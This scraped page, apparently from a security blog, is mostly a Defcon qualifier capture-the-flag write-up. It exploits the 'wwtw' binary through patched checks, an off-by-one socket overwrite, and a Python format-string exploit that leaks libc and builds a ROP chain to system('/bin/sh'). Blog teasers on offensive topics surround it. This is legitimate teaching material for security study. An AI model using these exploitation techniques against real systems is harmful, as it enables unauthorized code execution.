    Hey, In my last post, I showed how we could guess the output of a password-reset function with a million states. While doing research for that, I stumbled across some software that had a mere 16,000 states. I will show how to fully compromise this software package remotely using the password reset.

    Hacking crappy password resets (part 1)

    Greetings, all! This is part one of a two-part blog on password resets. For anybody who saw my talk (or watched the video) from Winnipeg Code Camp, some of this will be old news (but hopefully still interesting!) For this first part, I'm going to take a closer look at some very common (and very […]

    Ethics of password cracking/dissemination

    It's rare these days for me to write blogs that I have to put a lot of thought into. Most of my writing is technical, which comes pretty naturally, but I haven't written an argument since I minored in philosophy. So, if my old Ethics or Philosophy profs are reading this, I'm sorry!

    Followup to my Facebook research

    Hey all, Some of you may have heard what I did this month. It turns out, depending on who you listen to, that I'm either an evil "Facebook hacker" or just some mischievous individual doing "unsettling" research. But, one way or the other, a huge number of people have read or heard this story, and […]

    Return of the Facebook Snatchers

    First and foremost: if you want to cut to the chase, just download the torrent. If you want the full story, please read on.... Background Way back when I worked at Symantec, my friend Nick wrote a blog that caused a little bit of trouble for us: Attack of the Facebook Snatchers. I was blog […]

    robots.txt: important if you’re hosting passwords

    This is going to be a fun post that's related to some of my password work. Some of the text may not be PG13, so parental discretion is advised. As most of you know, I've been collecting password lists. In addition to normal password lists that are useful in bruteforcing, I have a (so far) […]

    The ultimate faceoff between password lists

    Yes, I'm still working on making the ultimate password list. And I don't mean the 16gb one I made by taking pretty much every word or word-looking string on the Internet when I was a kid; that was called ultimater dictionary. No; I mean one that is streamlined, sorted, and will make Nmap the bruteforce […]

    Hard evidence that people suck at passwords

    Hey everybody! As you probably know, I've been working hard on generating and evaluating passwords. My last post was all about Rockyou.com's passwords; next post will (probably) be about different groups of passwords from my just updated password dictionaries page. This will be a little different, though.

    #####EOF##### Defcon quals: wwtw (a series of vulns) » SkullSecurity


    Defcon quals: wwtw (a series of vulns)

    Hey folks,

    This is going to be my final (and somewhat late) writeup for the Defcon Qualification CTF. The level was called "wibbly-wobbly-timey-wimey", or "wwtw", and was a combination of a few things (at least the way I solved it): programming, reverse engineering, logic bugs, format-string vulnerabilities, some return-oriented programming (for my solution), and Dr. Who references!

    I'm not going to spend much time on the theory of format-string vulnerabilities or return-oriented programming because I just covered them in babyecho and r0pbaby.

    And by the way, I'll be building the solution in Python as we go, because the first part was solved by one of my teammates, and he's a Python guy. As much as I hated working with Python (which has become my life lately), I didn't want to re-write the first part and it was too complex to do on the shell, so I sucked it up and used his code.

    You can download the binary here, and you can get the exploit and other files involved on my github page.

    Part 1: The game

    The first part's a bit of a game. I wasn't all that interested in solving it, so I patched it out (see the next section) and discovered that there was another challenge I could work on while my teammate solved the game. This is going to be a very brief overview of my teammate's solution.

    When you start wwtw, you will see this:

    You(^V<>) must find your way to the TARDIS(T) by avoiding the angels(A).
    Go through the exits(E) to get to the next room and continue your search.
    But, most importantly, don't blink!
       012345678901234567890
    00        <
    01
    02  A
    03
    04            A
    05
    06                AA
    07    A        A
    08 A
    09
    10  A     A
    11                  A
    12                 A
    13
    14                    A
    15    A
    16 A   A              E
    17
    18                A
    19  A
    Your move (w,a,s,d,q):
    

    After a few seconds, it times out. The timeout can be patched out, if you want, but the timeouts are actually somewhat important in this level as we'll see later.

    You can move around your character using the w,a,s,d keys, as indicated in the little message. Your goal is to reach the tardis - represented by a 'T' - by going through the exits - represented by 'E's - and avoiding the angels - represented by 'A's. The angels will follow you when your back is turned. This stuff is, of course, a Dr. Who reference. :)

    The solution to this was actually pretty straight forward: a greedy algorithm that makes the "best" move toward the exit to a square that isn't occupied by an angel works 9 times out of 10, so we stuck with that and re-ran it whenever we got stuck in a corner or along the wall.

    You can see the code for it in the exploit. I'm not going to dwell on that part any longer.

    Part 1b: skipping the game

    As I said, I didn't want to deal with solving the game, I wanted to get to the good stuff (so to speak), so I "fixed" the game such that every move would appear to be a move to the exit (it would be possible to skip the game part entirely, but this was easy and worked well enough).

    This took a little bit of trial and error, but I primarily used the failure message - "Enjoy 1960..." - to figure out where in the binary to look.

    If you look at all the places that string is found (in IDA, use shift-f12 or just search for it), you'll find one that looks like this:

    .text:00002E14          lea     eax, (aEnjoy1960____0 - 5000h)[ebx] ; "Enjoy 1960..."
    

    If you look back a little bit, you'll find that the only way to get to that line is for this conditional jump to occur:

    .text:00002DC0 83 7D F4 01                             cmp     [ebp+var_C], 1
    .text:00002DC4 75 48                                   jnz     short loc_2E0E
    

    It's pretty easy to fix that, you can simply replace the jnz - 75 48 - with nops - 90 90. Here's a diff:

    --- a   2015-06-03 17:09:22.000000000 -0700
    +++ b   2015-06-03 17:09:44.000000000 -0700
    @@ -3635,7 +3635,8 @@
         2db8:      e8 7f ed ff ff          call   1b3c <main+0x937>
         2dbd:      89 45 f4                mov    %eax,-0xc(%ebp)
         2dc0:      83 7d f4 01             cmpl   $0x1,-0xc(%ebp)
    -    2dc4:      75 48                   jne    2e0e <main+0x1c09>
    +    2dc4:      90                      nop
    +    2dc5:      90                      nop
         2dc6:      8d 83 e0 00 00 00       lea    0xe0(%ebx),%eax
         2dcc:      8b 00                   mov    (%eax),%eax
         2dce:      83 f8 03                cmp    $0x3,%eax
    

    Aside: Making the binary debug-able

    Just as a quick aside: this program is a PIE - position independent executable - which means the addresses you see in IDA are all relative to 0. But when you run the program, it's assigned a "proper" address, even if ASLR is off. I don't know if there's a canonical way to deal with that, but I personally use this little trick in addition to turning off ASLR:

    1. Replace the first instruction in the start() or main() function with "\xcc" (software breakpoint) (and enough nop instructions to overwrite exactly one instruction)
    2. Run it in a debugger such as gdb
    3. (Optionally) use a .gdbinit file that automatically resumes execution when the breakpoint is hit

    Here's the first line of start() in wwtw:

    .text:00000A60 31 ED                                   xor     ebp, ebp
    

    Since it's a two byte instruction ("\x31\xED"), we open the binary in a hex editor and replace those two bytes with "\xcc\x90" (the "\x90" being a nop instruction). If you try to execute it after that change, you should see this if you did it right:

    $ ./wwtw-blog
    Trace/breakpoint trap
    

    And with a debugger, you can continue execution after that breakpoint:

    $ gdb -q ./wwtw-blog
    (gdb) run
    Starting program: /home/ron/defcon-quals/wwtw/wwtw-blog
    
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x56555a61 in ?? ()
    (gdb) cont
    Continuing.
    You(^V<>) must find your way to the TARDIS(T) by avoiding the angels(A).
    Go through the exits(E) to get to the next room and continue your search.
    [...]
    

    You can also use a gdbinit file:

    $ echo -e 'run\ncont' > gdbhax
    $ gdb -q -x ./gdbhax ./wwtw-blog
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x56555a61 in ?? ()
    You(^V<>) must find your way to the TARDIS(T) by avoiding the angels(A).
    Go through the exits(E) to get to the next room and continue your search.
    But, most importantly, don't blink!
    [...]
    

    Part 2: Starting the ignition (by debugging)

    After you complete the fifth room and get to the Tardis, you're prompted for a key:

    TARDIS KEY: abcd
    Wrong key!
    Enjoy 1960...
    $ bcd
    

    Funny story: I had initially nop'd out the failure condition when I was trying to nop out the "you've been eaten by an angel" code from earlier, so it actually took me awhile to even realize that this was a challenge. I had accidentally set it to - as I describe in the next section - accept any password. :)

    Anyway, one thing you'll notice is that when it prompts you for the key, you can type in multiple characters, but after it kicks you out it prints all but the first character on the commandline. That's interesting, because it means that it's only consuming one character at a time and is therefore vulnerability to a bunch of attacks. If you happen to guess a correct character, it consumes one more:

    TARDIS KEY: Uabcd
    Wrong key!
    Enjoy 1960...
    $ bcd
    

    (Note that it consumed both the "U" and the "a" this time)

    Because it's checking one character at a time, it's pretty easy to guess it one character at a time - 62 max tries per character (31 on average) and a 10-character string means it could be guessed in something like 600 - 1000 runs. But we can do better than that!

    I searched the source in IDA for the string "TARDIS KEY:" to get an idea of where to look for the code. You will find it at 0x00000ED1, which is in a fairly short function called from main(). In it, you'll see a call to both read() and getchar(). But more importantly, in the whole function, there's only one "cmp" instruction that takes two registers (as opposed to a register and an immediate value (ie, constant)):

    .text:00000F45 39 C2                                   cmp     edx, eax
    

    If I had to take a wild guess, I'd say that this function somehow verifies the password you type in using that comparison. And if we're lucky, it'll be a comparison between what we typed and what they expected to see (it doesn't always work out that way, but when it does, it's awesome).

    To set a breakpoint, we need to know which address to break at. The easiest way to do that is to disable ASLR and just have a look at what address stuff loads to. It shouldn't change if ASLR is off.

    On my machine, wwtw loads to 0x56555000, which means that comparison should be at 0x56555000 + 0x00000f45 = 0x56555f45. We can verify in gdb:

    (gdb) x/i 0x56555f45
       0x56555f45:  cmp    edx,eax
    

    We want to put a breakpoint there and print out both of those values to make sure that one is what we typed and the other isn't. I added the breakpoint to my gdbhax file because I know I'm going to be using it over and over:

    $ cat gdbhax
    run
    b *0x56555f45
    cont
    

    And run the process (punching in whatever you want for the five moves, since we've already "fixed" the game):

    $ gdb -q -x ./gdbhax ./wwtw-blog
    [...]
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x56555a61 in ?? ()
    Breakpoint 1 at 0x56555f45
    You(^V<>) must find your way to the TARDIS(T) by avoiding the angels(A).
    Go through the exits(E) to get to the next room and continue your search.
    But, most importantly, don't blink!
    
    [...]
    
    TARDIS KEY: a
    
    Breakpoint 1, 0x56555f45 in ?? ()
    (gdb)
    (gdb) print/c $edx
    $2 = 65 'a'
    (gdb) print/c $eax
    $3 = 85 'U'
    (gdb)
    

    It's comparing the first character we typed ("a") to another character ("U"). Awesome! Now we know that at that comparison, the proper character is in $eax, so we can add that to our gdbhax file:

    $ cat gdbhax
    run
    b *0x56555f45
    
    cont
    
    while 1
      print/c $eax
      cont
    end
    

    That little script basically sets a breakpoint on the comparison, then each time it breaks it prints eax and continues execution.

    When you run it a second time, we start with "U" and then whatever other character so we can get the second character:

    $ gdb -q -x ./gdbhax ./wwtw-blog
    [...]
    TARDIS KEY: Ua
    
    Breakpoint 1, 0x56555f45 in ?? ()
    $1 = 85 'U'
    
    Breakpoint 1, 0x56555f45 in ?? ()
    $2 = 101 'e'
    Wrong key!
    

    Then run it again with "Ue" at the start:

    Breakpoint 1, 0x56555f45 in ?? ()
    $1 = 85 'U'
    
    Breakpoint 1, 0x56555f45 in ?? ()
    $2 = 101 'e'
    
    Breakpoint 1, 0x56555f45 in ?? ()
    $3 = 83 'S'
    

    ...and so on. Eventually, you'll get the key "UeSlhCAGEp". If you try it, you'll see it works:

    TARDIS KEY: UeSlhCAGEp
    Welcome to the TARDIS!
    Your options are:
    1. Turn on the console
    2. Leave the TARDIS
    

    Part 2b: Without brute force

    Usually in CTFs, if a password or key is English-looking text, it's probably hardcoded, and if it's random looking, it's generated. Since that key was obviously not English, it stands to reason that it's probably generated and therefore would not work against the real service. At this point, my teammate hadn't solved the "game" part yet, so I couldn't easily test against the real server. Instead, I decided to dig a bit deeper to see how the key was actually generated. Spoiler: it doesn't actually change, so this wound up being unnecessary. There's a reason I take a long time to solve these levels. :)

    At the start of the function that references the "TARDIS KEY:" string (the function contains, but doesn't start at, address 0x00000ED1), you'll see this line:

    .text:00000EEF        lea     eax, (check_key - 5000h)[ebx]
    

    Later, that variable is read, one byte at a time:

    .text:00000EFA top_loop:                               ; CODE XREF: check_key+A4j
    .text:00000EFA                 mov     eax, [ebp+key_thing]
    .text:00000EFD                 movzx   eax, byte ptr [eax]
    .text:00000F00                 movsx   eax, al
    .text:00000F03                 and     eax, 7Fh
    .text:00000F06                 mov     [esp], eax      ; int
    .text:00000F09                 call    _isalnum
    

    At each point, it reads the next byte, ANDs it with 0x7F (clearing the uppermost bit), and calls isalnum() on it to see if it's a letter or a number. If it's a valid letter or number, it's considered part of the key; if not, it's skipped.

    It took me far too long to see what was going on: the function I called check_key() actually references itself and reads its own code! It reads the first dozen or so bytes from the function's binary and compares the alpha-numeric values to the key that was typed in.

    To put it another way: if you look at the start of the function in a hex editor, you'll see:

    55 89 E5 53 83 EC 24 E8 DC FB FF FF 81 C3 3C 41...

    If we AND each of these values by 0x7F and convert them to a character, we get:

    1.9.3-p392 :004 > "55 89 E5 53 83 EC 24 E8 DC FB FF FF 81 C3 3C 41".split(" ").each do |i|
    1.9.3-p392 :005 >     puts (i.to_i(16) & 0x7F).chr
    1.9.3-p392 :006?>   end
    U
    
    e
    S
    
    l
    $
    h
    \
    {
    
    
    
    C
    <
    A
    

    If you exclude the values that aren't alphanumeric, you can see that the first 16 bytes becomes "UeSlhCA", which is the first part of the code to start the engine!

    Satisfied that it wasn't random, I moved on.

    Aside: Why did they use the function as the key?

    Just a quick little note in case you're wondering why the function used itself to generate the password...

    When you set a software breakpoint (which is by far the most common type of breakpoint), behind the scenes the debugger replaces the instruction with a software breakpoint ("\xcc"). After it breaks, the real instruction is briefly replaced so the program can continue.

    If you break on the first line of the function, then instead of the first line of the function being "\x55", which is "pop ebp", it's "\xCC" and therefore the value will be wrong. In fact, putting a breakpoint anywhere in the first ~20 bytes of that function will cause your passcode to be wrong.

    I suspect that this was used as a subtle anti-debugging technique.

    Part 2c: Skipping the password check

    Much like the game, I didn't want to have to deal with entering the password each time around, so I found the call that checks whether or not that password was valid:

    .text:0000125E                 test    eax, eax
    .text:00001260                 jz      short loc_129C
    .text:00001262                 lea     eax, (aWrongKey - 5000h)[ebx] ; "Wrong key!"
    

    And switched the jz ("\x74\x3a") to a jmp ("\xeb\x3a"). Once you've done that, you can type whatever you want (including nothing) for the key.

    Part 3: Time travelling

    Now that you've started the Tardis, there's another challenge: you can only turn on the console during certain times:

    Welcome to the TARDIS!
    Your options are:
    1. Turn on the console
    2. Leave the TARDIS
    Selection: 1
    Access denied except between May 17 2015 23:59:40 GMT and May 18 2015 00:00:00 GMT
    

    Looking around in IDA, I see some odd stuff happening. For example, the program attempts to connect to localhost on a weird port and read some data from it! The function that does that is called sub_CB0() if you want to have a look. After it connects, it sets up an alarm() that calls sub_E08() every 2 seconds. In that function, it reads 4 bytes from the socket and stores them. Those 4 bytes turned out to be a timestamp.

    Basically, it has a little timeserver running on localhost that sends it the current time. If we can make it use a different server, we can provide a custom timestamp and bypass this check. But how?

    I played around quite a bit with this, but I didn't make any breakthroughs till I ran it in strace.

    To run the program in strace, we no longer need the debugger, so we have to fix the first two bytes of start():

    .text:00000A60 31 ED                                   xor     ebp, ebp
    

    and run strace on it to see what's going on:

    socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 3
    setsockopt(3, SOL_SOCKET, SO_RCVTIMEO, "\0\0\0\0\350\3\0\0", 8) = 0
    connect(3, {sa_family=AF_INET, sin_port=htons(1234), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
    write(3, "\0", 1)                       = 1
    read(3, 0xffffcd88, 4)                  = -1 ECONNREFUSED (Connection refused)
    [...]
    --- SIGALRM {si_signo=SIGALRM, si_code=SI_KERNEL, si_value={int=111, ptr=0x6f}} ---
    write(3, "\0", 1)                       = 1
    read(3, 0xffffc6d8, 4)                  = -1 ECONNREFUSED (Connection refused)
    alarm(2)                                = 0
    sigreturn() (mask [])                   = 3
    read(0, 0x5655a0b0, 9)                  = ? ERESTARTSYS (To be restarted if SA_RESTART is set)
    [...]
    

    Basically, it makes the connection and gets a socket numbered 3. Every 2 seconds, it reads a timestamp from the socket. One of the first things I often do while working on CTF challenges is disable alarm() calls, but in this case it was actually needed! I suspected that this is another anti-debugging measure - to catch people who disabled alarm() - and therefore I should look for the vulnerability in the callback function.

    It turns out there wasn't really that much code, but the vulnerability was somewhat subtle and I didn't notice until I ran it in strace and typed a bunch of "A"s:

    read(0, AAAAAAAAAAAAAAAAAAAAAAAA
    "AAAAAAAAA", 9)                 = 9
    write(1, "Invalid\n", 8Invalid
    )                = 8
    [...]
    --- SIGALRM {si_signo=SIGALRM, si_code=SI_KERNEL, si_value={int=111, ptr=0x6f}} ---
    write(65, "\0", 1)                      = -1 EBADF (Bad file descriptor)
    read(65, 0xffffc6d8, 4)                 = -1 EBADF (Bad file descriptor)
    alarm(2)                                = 0
    [...]
    

    When I put a bunch of "A"s into the prompt, it started reading from socket 65 (aka, 0x41 or "A") instead of from socket 3! There's an off-by-one vulnerability that allows you to change the socket identifier!

    If you were to use "AAAAAAAA\0", it would overwrite the socket with a NUL byte, and instead of reading from socket 3 or 65, it would read from socket 0 - stdin. The very same socket we're already sending data to!

    Here's the python code to exploit this:

    sys.stdout.write("01234567\0")
    sys.stdout.flush()
    
    time.sleep(2) # Has to be at least 2
    
    sys.stdout.write("\x6d\x2b\x59\x55")
    sys.stdout.flush()
    

    That hex value is a timestamp during the prescribed time. When it reads that from stdin rather than from the socket it opened, it thinks the time is right and we can then activate the TARDIS!

    Part 3b: Skipping the timestamp check

    Once again, in the interest of being able to test without waiting 2 seconds every time, we can disable the timestamp check altogether. To do that, we find the error message:

    .text:00001409  lea     eax, (aAccessDeniedEx - 5000h)[ebx] ; "Access denied except between %s and %s\"...
    

    ...and look backwards a little bit to find the jump that gets you there:

    .text:000013BE E8 45 FA FF FF      call    check_timestamp
    .text:000013C3 85 C0               test    eax, eax
    .text:000013C5 74 2F               jz      short loc_13F6
    .text:000013C7 8D 83 22 E1 FF FF   lea     eax, (aTheTardisConso - 5000h)[ebx] ; "The TARDIS console is online!"
    

    And make sure it never happens (by replacing "\x74\x2F" with "\x90\x90"). Now we can jump directly to pressing "1" to active the TARDIS and it'll come right online:

    $ ./wwtw-blog-nodebug
    [...]
    Welcome to the TARDIS!
    Your options are:
    1. Turn on the console
    2. Leave the TARDIS
    Selection: 1
    The TARDIS console is online!Your options are:
    1. Turn on the console
    2. Leave the TARDIS
    3. Dematerialize
    Selection:
    

    Part 4: Getting the coordinates

    When we select option 3, we're prompted for coordinates:

    Your options are:
    1. Turn on the console
    2. Leave the TARDIS
    3. Dematerialize
    Selection: 3
    Coordinates: 1,2
    1.000000, 2.000000
    You safely travel to coordinates 1,2
    

    If you look at the function that contains the "You safely travel..." string, you'll see that one of three things can happen:

    • It prints "Invalid coordinates" if you put anything other than two numbers (as defined by strtof() returning with no error, which means we can put a number then text without being "caught")
    • It prints "You safely travel to coordinates [...]" if you put valid coordinates
    • It prints "XXX is occupied by another TARDIS" if some particular set of coordinates are entered

    The "XXX" in the output is actually the coordinates the user typed, as a string, passed directly to printf(). And we remember why printf(user_string) is bad, right? (Hint: format string attacks)

    The function to calculate the coordinates used a bunch of floating point math, which made me sad - I don't really know how to reverse floating point stuff, and I don't really want to learn in the middle of a level. Fortunately, I noticed that two global variables were used:

    .text:0000112B                 fld     ds:(dbl_3170 - 5000h)[ebx]
    [...]
    .text:00001153                 fld     ds:(dbl_3178 - 5000h)[ebx]
    

    And if you look at the variables, you'll see:

    .rodata:00003170 dbl_3170        dq 51.492137            ; DATA XREF: do_jump_EXPLOITME+104r
    .rodata:00003170                                         ; do_jump_EXPLOITME+11Ar
    .rodata:00003178 dbl_3178        dq -0.192878            ; DATA XREF: do_jump_EXPLOITME+12Cr
    .rodata:00003178                                         ; do_jump_EXPLOITME+13Er
    

    So that's kind of a freebie. If we enter them, it works:

    Your options are:
    1. Turn on the console
    2. Leave the TARDIS
    3. Dematerialize
    Selection: 3
    Coordinates: 51.492137,-0.192878
    51.492137, -0.192878
    Coordinate 51.492137,-0.192878 is occupied by another TARDIS.  Materializing there would rip a hole in time and space. Choose again.
    

    And, to finish it off, let's verify that there is indeed a format-string vulnerability there:

    Coordinates: 51.492137,-0.192878 %x %x %x
    51.492137, -0.192878
    Coordinate 51.492137,-0.192878 58601366 4049befe ef0f16f4 is occupied by another TARDIS.  Materializing there would rip a hole in time and space. Choose again.
    
    Coordinates: 51.492137,-0.192878 %n
    51.492137, -0.192878
    Segmentation fault
    

    Yup! :)

    Part 4b: Format string exploit

    I'm not going to spend any time explaining what a format string vulnerability is. If you aren't familiar, check out my last blog.

    Instead, we're going to look at how I exploited this one. :)

    The cool thing about this is, as you can see in the last example, if you enter "collision" coordinates (ie, the ones that trigger the format string vulnerability), the function doesn't actually return, it just prompts again. The function doesn't return until you enter valid-looking coordinates (like 1,1).

    That's really handy, because it means we can exploit it over and over before letting it return. Instead of the crazy math we had to do in the earlier level, we can just write one byte at a time. And speaking of the last level, I actually solved this level before babyecho, so I didn't have the handy format-string generator that I wrote.

    write_byte()

    I wrote a function in python that will write a single byte to a chosen address:

    def write_byte(addr, value):
        s = "51.492137,-0.192878 " + struct.pack("<I", addr)
        s += "%" + str(value + 256 - 24) + "x%20$n\n"
    
        print s
        sys.stdout.flush()
        sys.stdin.readline()
    

    Basically, it uses the classic "AAAA%NNx%MM$n" string, which we saw a whole bunch in babyecho, where:

    • AAAA = the address as a 4-byte string (which will be the address written to by the %n)
    • NN = the number of bytes to waste to ensure that %n writes the proper value to AAAA (keeping in mind that the coordinates and address take up 24 bytes already)
    • MM = the number of elements on the stack before the format string reads itself (we can figure that out by bruteforce then hardcode it)

    If that doesn't make sense, read the last blog - this is exactly the same attack (except simpler, because we only have to write a single byte).

    leak()

    Meanwhile, my teammate wrote this function that, while ugly, can leak arbitrary memory addresses using "%s":

    def leak(address):
        print >> sys.stderr, "*** Leak 0x%04x" % address
        s = "51.492137,-0.192878 " + struct.pack("<I", address) + " >>>%20$s<<<"
        s = "    51.492137,-0.192878 >>>%24$s<<< " + struct.pack("<IIII", address, address, address, address)
        #print >> sys.stderr, "s", repr(s)
        print s
        sys.stdout.flush()
        sys.stdin.readline() # Echoed coordinates.
        resp = sys.stdin.readline()
        #print >> sys.stderr, "resp", repr(resp)
        m = re.search(r'>>>(.*)<<<', resp, flags=re.DOTALL)
        while m is None:
            extra = sys.stdin.readline()
            assert extra, repr(extra)
            resp += extra
            print >> sys.stderr, "read again", repr(resp)
            m = re.search(r'>>>(.*)<<<', resp, flags=re.DOTALL)
        assert m is not None, repr(resp)
        resp = m.group(1)
        if resp == "":
            resp = "\0"
        return resp
    

    Then, exactly like the last blog, we use the vulnerability to leak a return address and frame pointer, then overwrite the return address with a chosen address, and thus obtain EIP control.

    Getting libc's base address

    Next, we needed an address to return to. This was a little tricky, since I wasn't able to steal a copy of their libc.so file (it's the only 32-bit level our team worked on) - that means I could easily exploit myself, because I have libc handy, but I couldn't exploit them. There's a "pwntool" module that can find base addresses given a memory leak, but it was too slow and the binary would time out before it finished (more on that later).

    So, I used the format-string vulnerability and a bit of experience to get the base address of libc. We use %s in the format string to leak data from the PLT and get an address of anything in the libc binary - I chose to find printf() because it's the first one I could think of. That's at a static offset in the wwtw binary file (we already know the return address, since we leaked it off the stack, and that can be used to calculate where the PLT is).

    Once I had that address, I worked my way backwards, reading the first bytes of each page (multiple of 0x1000) until I found an ELF header. Here's the code:

    bf = printf_addr - 0xc280
    while True:
        print >> sys.stderr, "Checking", hex(bf), " (printf - ", hex(printf_addr - bf), ")..."
        str = leak(bf)
        print >> sys.stderr, hexify(str)
        if(str[0:4] == "\x7FELF"):
            break
    
        bf -= 0x1000
    

    I now had the relative offset of printf(), which means given the address of printf(), I can find the base address deterministically.

    Getting system()'s address

    Once I had the base address, I wanted to find the address of system(). I don't normally like using stuff I didn't write, because it's really hard to troubleshoot when there's a problem, but I couldn't find an easy way to do this by bruteforce, so I tried using pwntools ('leak' refers to the function shown earlier):

    d = dynelf.DynELF(leak, libc_base_REAL)
    system_addr = d.lookup("system", 'libc')
    

    Once again, this was too slow and kept timing out. I looked at some options, like stealing the libc binary from memory by returning into the write() libc function (like I did in ropasaurusrex) or trying to make pwntools start where it left off after being disconnected, but none of it would work.

    (in retrospect, I probably could have silently re-connected/re-solved the first half of the level in the leak() function and just continued where I left off, but that didn't occur to me till now, like two weeks later)

    After fighting for far too long, I had a realization: maybe my home Internet connection just sucks. I uploaded the script to my server and it found the address on the first try (and solved the game portion like 10x faster).

    Getting "/bin/sh"'s address

    Although I ended up with the address of system(), getting the address of "/bin/sh" from libc might be a bit tricky, so instead I simply put the string in my own input buffer - the same buffer that contains the format string - and calculated the offset from the leaked ebp value to that address. Since it was on the stack, it was always at a fixed offset from the saved ebp, which we had access to.

    I could easily have leaked libc until I found the offset to the string, but that's completely unnecessary.

    Building the ROP chain

    In the end, I had the address of system() and the address of "/bin/sh" in my buffer. I used them to construct a really simple ROP chain, similar to the one used in r0pbaby (the difference is that, since we're on 32-bit for this level, we can pass the address of "/bin/sh" on the stack and don't have to worry about finding a gadget):

    write_byte(return_ptr+0, (system_addr >> 0) & 0x0FF)
    write_byte(return_ptr+1, (system_addr >> 8) & 0x0FF)
    write_byte(return_ptr+2, (system_addr >> 16) & 0x0FF)
    write_byte(return_ptr+3, (system_addr >> 24) & 0x0FF)
    
    write_byte(return_ptr+4, 0x5e)
    write_byte(return_ptr+5, 0x5e)
    write_byte(return_ptr+6, 0x5e)
    write_byte(return_ptr+7, 0x5e)
    
    sh_addr = buffer_addr + 200 + FUDGE
    write_byte(return_ptr+8,  (sh_addr >> 0) & 0x0FF)
    write_byte(return_ptr+9,  (sh_addr >> 8) & 0x0FF)
    write_byte(return_ptr+10, (sh_addr >> 16) & 0x0FF)
    write_byte(return_ptr+11, (sh_addr >> 24) & 0x0FF)
    

    Basically, I wrote the 4-byte address of system() over the actual return address in four separate printf() calls. Then I wrote 4 useless bytes (they don't really matter - they're system()'s return address so I made them something distinct so I can recognize the crash after system() returns). Then I wrote the address of "/bin/sh" over the next 4 bytes (the first parameter to system()).

    Once that was done, I sent "good" coordinates - 100000,100000 - which caused the function to return. Since the return address had been overwritten, it returned to system("/bin/sh") and it was game over.

    Conclusion

    I really liked this level because it was multiple parts.

    First, we had to solve a game by making some simple AI.

    Second, we had to find the "key" by either reverse engineering or debugging.

    Third, we had to fix the timestamp using an off-by-one error.

    And finally, we had to use a format string vulnerability to get EIP control and win the level.

    One interesting dynamic of this level was that there were anti-debugging features in this level. One was the timeout that had to be used for the off-by-one error, since people frequently remove calls to alarm(), and the other was using the first few bytes of a function for something meaningful to mess with software breakpoints.

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### SkullSecurity » Adventures In Security

    In BSidesSF CTF, calc.exe exploits you! (Author writeup of launchcode)

    Hey everybody,

    In addition to genius, whose writeup I already posted, my other favourite challenge I wrote for BSidesSF CTF was called launchcode. This will be my third and final writeup for BSidesSF CTF for 2019, but you can see all the challenges and solutions on our Github releases page.

    This post will be more about how I developed this, since the solution is fairly straight forward once you know how it's implemented.
    Continue reading

    BSidesSF CTF author writeup: genius

    Hey all,

    This is going to be an author's writeup of the BSidesSF 2019 CTF challenge: genius!

    genius is probably my favourite challenge from the year, and I'm thrilled that it was solved by 6 teams! It was inspired by a few other challenges I wrote in the past, including Nibbler. You can grab the sourcecode, solution, and everything needed to run it yourself on our Github release!

    It is actually implemented as a pair of programs: loader and genius. I only provide the binaries to the players, so it's up to the player to reverse engineer them. Fortunately, for this writeup, we'll have source to reference as needed!
    Continue reading

    Technical Rundown of WebExec

    This is a technical rundown of a vulnerability that we've dubbed "WebExec". The summary is: a flaw in WebEx's WebexUpdateService allows anyone with a login to the Windows system where WebEx is installed to run SYSTEM-level code remotely. That's right: this client-side application that doesn't listen on any ports is actually vulnerable to remote code execution! A local or domain account will work, making this a powerful way to pivot through networks until it's patched.

    High level details and FAQ at https://webexec.org! Below is a technical writeup of how we found the bug and how it works.

    Continue reading

    Solving b-64-b-tuff: writing base64 and alphanumeric shellcode

    Hey everybody,

    A couple months ago, we ran BSides San Francisco CTF. It was fun, and I posted blogs about it at the time, but I wanted to do a late writeup for the level b-64-b-tuff.

    The challenge was to write base64-compatible shellcode. There's an easy solution - using an alphanumeric encoder - but what's the fun in that? (also, I didn't think of it :) ). I'm going to cover base64, but these exact same principles apply to alphanumeric - there's absolutely on reason you couldn't change the SET variable in my examples and generate alphanumeric shellcode.

    In this post, we're going to write a base64 decoder stub by hand, which encodes some super simple shellcode. I'll also post a link to a tool I wrote to automate this.

    I can't promise that this is the best, or the easiest, or even a sane way to do this. I came up with this process all by myself, but I have to imagine that the generally available encoders do basically the same thing. :)
    Continue reading

    BSidesSF CTF wrap-up

    Welcome!

    While this is technically a CTF writeup, like I frequently do, this one is going to be a bit backwards: this is for a CTF I ran, instead of one I played! I've gotta say, it's been a little while since I played in a CTF, but I had a really good time running the BSidesSF CTF! I just wanted to thank the other organizers - in alphabetical order - @bmenrigh, @cornflakesavage, @itsc0rg1, and @matir. I couldn't have done it without you folks!

    BSidesSF CTF was a capture-the-flag challenge that ran in parallel with BSides San Francisco. It was designed to be easy/intermediate level, but we definitely had a few hair-pulling challenges.

    Continue reading

    Going the other way with padding oracles: Encrypting arbitrary data!

    A long time ago, I wrote a couple blogs that went into a lot of detail on how to use padding oracle vulnerabilities to decrypt an encrypted string of data. It's pretty important to understand to use a padding oracle vulnerability for decryption before reading this, so I'd suggest going there for a refresher.

    When I wrote that blog and the Poracle tool originally, I didn't actually know how to encrypt arbitrary data using a padding oracle. I was vaguely aware that it was possible, but I hadn't really thought about it. But recently, I decided to figure out how it works. I thought and thought, and finally came up with this technique that seems to work. I also implemented it in Poracle in commit a5cfad76ad.
    Continue reading

    dnscat2 0.05: with tunnels!

    Greetings, and I hope you're all having a great holiday!

    My Christmas present to you, the community, is dnscat2 version 0.05!

    Some of you will remember that I recently gave a talk at the SANS Hackfest Summit. At the talk, I mentioned some ideas for future plans. That's when Ed jumped on the stage and took a survey: which feature did the audience want most?

    The winner? Tunneling TCP via a dnscat. So now you have it! Tunneling: Phase 1. :)

    Info and downloads.
    Continue reading

    SANS Hackfest writeup: Hackers of Gravity

    Last weekA few weeks ago, SANS hosted a private event at the Smithsonian's Air and Space Museum as part of SANS Hackfest. An evening in the Air and Space Museum just for us! And to sweeten the deal, they set up a scavenger hunt called "Hackers of Gravity" to work on while we were there!

    We worked in small teams (I teamed up with Eric, who's also writing this blog with me). All they told us in advance was to bring a phone, so every part of this was solved with our phones and Google.

    Each level began with an image, typically with a cipher embedded in it. After decoding the cipher, the solution and the image itself were used together to track down a related artifact.

    This is a writeup of that scavenger hunt. :)
    Continue reading

    dnscat2: now with crypto!

    Hey everybody,

